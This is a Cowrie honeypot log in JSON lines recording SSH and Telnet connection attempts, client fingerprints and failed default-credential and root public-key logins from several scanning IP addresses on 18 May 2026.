{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50718,"dst_ip":"10.17.0.5","dst_port":22,"session":"f568739f1438","protocol":"ssh","message":"New connection: 83.168.110.85:50718 (10.17.0.5:22) [session: f568739f1438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:42.065167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:42.070722Z","src_ip":"83.168.110.85","session":"f568739f1438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:42.191907Z","src_ip":"83.168.110.85","session":"f568739f1438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:42.695974Z","src_ip":"83.168.110.85","session":"f568739f1438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:43.820929Z","src_ip":"83.168.110.85","session":"f568739f1438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.7698609828949,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:46.054020Z","src_ip":"152.42.224.71","session":"fcd772333b25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53980,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e7a818e1156","protocol":"ssh","message":"New connection: 83.168.110.85:53980 (10.17.0.5:22) [session: 3e7a818e1156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:49.676021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:49.680956Z","src_ip":"83.168.110.85","session":"3e7a818e1156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:49.801780Z","src_ip":"83.168.110.85","session":"3e7a818e1156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:50.167832Z","src_ip":"83.168.110.85","session":"3e7a818e1156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:51.572609Z","src_ip":"83.168.110.85","session":"3e7a818e1156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":47986,"dst_ip":"10.17.0.5","dst_port":22,"session":"40564215baab","protocol":"ssh","message":"New connection: 172.93.103.2:47986 (10.17.0.5:22) [session: 40564215baab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.683066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.688352Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.697957Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:c5:48:9e:49:e7:d0:5d:d9:8b:2a:97:f1:90:89:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6fWi1D+G3lP6jZ3xUlsdZcVq4dnqtB20U4BmUMEoklR+cHWZjDr71QUru6wO7HXvmJ7WATk0VLRkljwAX1aRKmgEmfQAdQLyy7XBMT9SzaYAq8zf1psawgfMZO2xybBO7jjbtnrDLmzJmGs7Pko1eGj+WnumLJJMMTEJ4VCyqxvajh0RT7HA8NYYnKWUJ7Cx2h5gUjBLJ1+G8WBfvzJdVyzRhSdhRCGLzg5eEh7QMaWDjFCz2goBDElNqCYfeD2BXij05kPinDfDZzL0yqqACdOaCh2uDKKFdfP6bCe5rDcUNt9w0aAqHHcLI7eDzxydLR0kjl1r+PY+EayuUj8U1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:c5:48:9e:49:e7:d0:5d:d9:8b:2a:97:f1:90:89:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.718190Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:c5:48:9e:49:e7:d0:5d:d9:8b:2a:97:f1:90:89:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6fWi1D+G3lP6jZ3xUlsdZcVq4dnqtB20U4BmUMEoklR+cHWZjDr71QUru6wO7HXvmJ7WATk0VLRkljwAX1aRKmgEmfQAdQLyy7XBMT9SzaYAq8zf1psawgfMZO2xybBO7jjbtnrDLmzJmGs7Pko1eGj+WnumLJJMMTEJ4VCyqxvajh0RT7HA8NYYnKWUJ7Cx2h5gUjBLJ1+G8WBfvzJdVyzRhSdhRCGLzg5eEh7QMaWDjFCz2goBDElNqCYfeD2BXij05kPinDfDZzL0yqqACdOaCh2uDKKFdfP6bCe5rDcUNt9w0aAqHHcLI7eDzxydLR0kjl1r+PY+EayuUj8U1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.722688Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:cc:16:1c:6b:21:8d:35:34:cf:12:e4:1c:00:1a:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDejb/R3GyY/eiREB5jqHz1BsY1oYJakhWpkYFn7p/K495RYRxa8CiagZ6m0c4cinLYMHdEjiUn+iORZsXYUJlIz6dNnBXojgV5eIpmSvnLVl4oIdXEPxC3C7u+fuA5OQ/t82n6/HyRSscyDm1mbUtt0D8c0+uXaBPO5uDmi7aKqQvAJ5QFqTFZ+sr0aQSwIsOUz3wVFyH/MZ1J8BVXSs4YovdtJyqEHFv1sZWeJYSZvWFgHxX7pxYuf9pxElkuRH5cOeYQ72OUdMX6Pfx1S8Grcmtc1UF41AUuM/M8cAs8XxG+FSTvN+i1YhusiejLi4H6Wr+lPW3cVNwUUk2h6gh7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:cc:16:1c:6b:21:8d:35:34:cf:12:e4:1c:00:1a:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.735844Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:cc:16:1c:6b:21:8d:35:34:cf:12:e4:1c:00:1a:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDejb/R3GyY/eiREB5jqHz1BsY1oYJakhWpkYFn7p/K495RYRxa8CiagZ6m0c4cinLYMHdEjiUn+iORZsXYUJlIz6dNnBXojgV5eIpmSvnLVl4oIdXEPxC3C7u+fuA5OQ/t82n6/HyRSscyDm1mbUtt0D8c0+uXaBPO5uDmi7aKqQvAJ5QFqTFZ+sr0aQSwIsOUz3wVFyH/MZ1J8BVXSs4YovdtJyqEHFv1sZWeJYSZvWFgHxX7pxYuf9pxElkuRH5cOeYQ72OUdMX6Pfx1S8Grcmtc1UF41AUuM/M8cAs8XxG+FSTvN+i1YhusiejLi4H6Wr+lPW3cVNwUUk2h6gh7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.740126Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:72:88:c7:08:d7:84:e3:3f:40:26:4a:c1:02:a7:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCprWnUuRdjLwDtEngRe5jKqff1QMOZXHHEOI7pQm0Vyds1WQ4f2vbUAOf3PRTTyyu5gwC+AoOW4T7RMacJiJCZoH/E5zZxOn7td9b2pXj1c6kKHxIvZuWGEol379gN9FgsMXRls+xii9Gg0u+fJ+POYLOmvfWhTPuIgaBJ0n/y8Gm67PeN0SrikvUYFnf074e9r7ekAtNuE2RADTOdYxv9sW6AXqzZ+oOk0w2q+nxugWD0cWrY3o9+4eCvfHjQ6nx9gPe/l3Xy3AMIdCoIQF39+xYWakmnxEkK51B0ej6PGEUvUbgHOpIWNArA4Rs7eQTpXYyKl/Jt+7KroRHGKOX1aO1hRBnFA4fOGUCBsZ6uMcITuq3kS4ceD4rgLqwZbLHq1cwKsbAvteT/3nW8fGrzG8HFa1bbabIj1HK8/KBgdJ2vchf1cjEHQlnbNkNJKWva3yTUtxwWCo7G2TxDNW041t0zyMdXynOv9Ztcgd8NpAHbSvAdhT/EmK7xrQkGH80=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:72:88:c7:08:d7:84:e3:3f:40:26:4a:c1:02:a7:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.749589Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:72:88:c7:08:d7:84:e3:3f:40:26:4a:c1:02:a7:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCprWnUuRdjLwDtEngRe5jKqff1QMOZXHHEOI7pQm0Vyds1WQ4f2vbUAOf3PRTTyyu5gwC+AoOW4T7RMacJiJCZoH/E5zZxOn7td9b2pXj1c6kKHxIvZuWGEol379gN9FgsMXRls+xii9Gg0u+fJ+POYLOmvfWhTPuIgaBJ0n/y8Gm67PeN0SrikvUYFnf074e9r7ekAtNuE2RADTOdYxv9sW6AXqzZ+oOk0w2q+nxugWD0cWrY3o9+4eCvfHjQ6nx9gPe/l3Xy3AMIdCoIQF39+xYWakmnxEkK51B0ej6PGEUvUbgHOpIWNArA4Rs7eQTpXYyKl/Jt+7KroRHGKOX1aO1hRBnFA4fOGUCBsZ6uMcITuq3kS4ceD4rgLqwZbLHq1cwKsbAvteT/3nW8fGrzG8HFa1bbabIj1HK8/KBgdJ2vchf1cjEHQlnbNkNJKWva3yTUtxwWCo7G2TxDNW041t0zyMdXynOv9Ztcgd8NpAHbSvAdhT/EmK7xrQkGH80=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.753587Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:b0:dd:3f:85:1d:1b:3a:5d:15:b5:3f:5e:d1:19:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyxRZRZov9jay1cthlS/8H6nhsHQYPwMRWgLG6wKhLzP4k4uVJuK0MpLxsYDPeZj1nu6sJATLpcukrBxxxDQRL8yd7zJRlVAAKC5nYoM/fH6OdfDUHUOne4o02U7rvnEWgBv51bDeUJDmbVyMHAtqLeKpcwE1zsX8iLk9Z3vuozLLB6Y5lJ3a1C/ziSqGoOpDU2VZdQAzEe90/jua3xnJ0XkBOufGmXMNtdqrrAKPgRhXmHz4mB4TISyvtom+LBFw2ujEHqfxJvufk2eOgBa/uoeDCAhL47oLdgkcE1PLZiaVFjOlnZovlhj9JmYNKYRMJzFRmoMyQjyPbb72xamiMgUbjI+Eo0fr1XeaXWxHdCmKezkDutpYg6bqhminCkRWgCsxzYFLaR901iPNL3tRPJ2Z/QEhiqTgabEvEd7ML7Bcl2HgFVFR3bZwsxAdLfDebaHEaWfSTV48bPZvLjKSbleFzsOkcPAMc4iVzJyq2FRoe7v1YpsfA6Jf/MkSchowDiFKpPWBqPtvJnjJbO4Vj/WDtiDIq0FaGPwhwe46fU/zl/LK42YTsK8vwmOfyL14SfsUEcIOVrmQzIxEcQE9RBLx7o0eOwWshfrntc/9Miw+fDYB9bdn1tHqyrr60ocs2T1D0Gdh7V5lYKGYEZsbZwKD+qYU8A+aV62ilyKGnQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:b0:dd:3f:85:1d:1b:3a:5d:15:b5:3f:5e:d1:19:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.763553Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:b0:dd:3f:85:1d:1b:3a:5d:15:b5:3f:5e:d1:19:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyxRZRZov9jay1cthlS/8H6nhsHQYPwMRWgLG6wKhLzP4k4uVJuK0MpLxsYDPeZj1nu6sJATLpcukrBxxxDQRL8yd7zJRlVAAKC5nYoM/fH6OdfDUHUOne4o02U7rvnEWgBv51bDeUJDmbVyMHAtqLeKpcwE1zsX8iLk9Z3vuozLLB6Y5lJ3a1C/ziSqGoOpDU2VZdQAzEe90/jua3xnJ0XkBOufGmXMNtdqrrAKPgRhXmHz4mB4TISyvtom+LBFw2ujEHqfxJvufk2eOgBa/uoeDCAhL47oLdgkcE1PLZiaVFjOlnZovlhj9JmYNKYRMJzFRmoMyQjyPbb72xamiMgUbjI+Eo0fr1XeaXWxHdCmKezkDutpYg6bqhminCkRWgCsxzYFLaR901iPNL3tRPJ2Z/QEhiqTgabEvEd7ML7Bcl2HgFVFR3bZwsxAdLfDebaHEaWfSTV48bPZvLjKSbleFzsOkcPAMc4iVzJyq2FRoe7v1YpsfA6Jf/MkSchowDiFKpPWBqPtvJnjJbO4Vj/WDtiDIq0FaGPwhwe46fU/zl/LK42YTsK8vwmOfyL14SfsUEcIOVrmQzIxEcQE9RBLx7o0eOwWshfrntc/9Miw+fDYB9bdn1tHqyrr60ocs2T1D0Gdh7V5lYKGYEZsbZwKD+qYU8A+aV62ilyKGnQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.767533Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:ec:15:a5:7f:17:03:68:52:cd:7f:db:c9:20:da:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmb14p2eIrB3MsrReIIElOon9icmDlGAigHsfYzKIY85gcvOP/1YTS1OnztF9sBdoQqSyCTi4qwxuxbVq5oTkJTFKwDwzvlrOXrtn4dydbEC7tGxsmMdqJoUi4cGf29V4sIWwfp8/pQLaCJAzgaw8I09ngdhskeNgV0JcMlFSod06r0feFpPcXzspMS3CXPYR266rSl464a/NOfjBcdiITbCWtTUZ/22BkGjzqCK0rdOkd3EpxvyQ0UiThHCDQ6sXpsUcuaeFdHmB4fXxIb3Imc0lwJ3miSG2fpJEoWRfcwMSUXgd5B3/cUNaPi7YZizQFoyyddwt/up/hGjD4eFi5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:ec:15:a5:7f:17:03:68:52:cd:7f:db:c9:20:da:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.776626Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:ec:15:a5:7f:17:03:68:52:cd:7f:db:c9:20:da:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmb14p2eIrB3MsrReIIElOon9icmDlGAigHsfYzKIY85gcvOP/1YTS1OnztF9sBdoQqSyCTi4qwxuxbVq5oTkJTFKwDwzvlrOXrtn4dydbEC7tGxsmMdqJoUi4cGf29V4sIWwfp8/pQLaCJAzgaw8I09ngdhskeNgV0JcMlFSod06r0feFpPcXzspMS3CXPYR266rSl464a/NOfjBcdiITbCWtTUZ/22BkGjzqCK0rdOkd3EpxvyQ0UiThHCDQ6sXpsUcuaeFdHmB4fXxIb3Imc0lwJ3miSG2fpJEoWRfcwMSUXgd5B3/cUNaPi7YZizQFoyyddwt/up/hGjD4eFi5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.782083Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:55.794961Z","src_ip":"172.93.103.2","session":"40564215baab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3b42a7d7f55","protocol":"ssh","message":"New connection: 83.168.110.85:47902 (10.17.0.5:22) [session: d3b42a7d7f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:56.696730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:56.701668Z","src_ip":"83.168.110.85","session":"d3b42a7d7f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:56.822215Z","src_ip":"83.168.110.85","session":"d3b42a7d7f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:57.187225Z","src_ip":"83.168.110.85","session":"d3b42a7d7f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.202.9.133","src_port":52282,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c38d3fd1421","protocol":"telnet","message":"New connection: 35.202.9.133:52282 (159.203.135.109:23) [session: 8c38d3fd1421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:57.386319Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:58.312066Z","src_ip":"83.168.110.85","session":"d3b42a7d7f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":35438,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dda14b9a0e3","protocol":"ssh","message":"New connection: 128.201.9.152:35438 (10.17.0.5:22) [session: 3dda14b9a0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:58.704510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:10:58.709193Z","src_ip":"128.201.9.152","session":"3dda14b9a0e3","protocol":"ssh"}
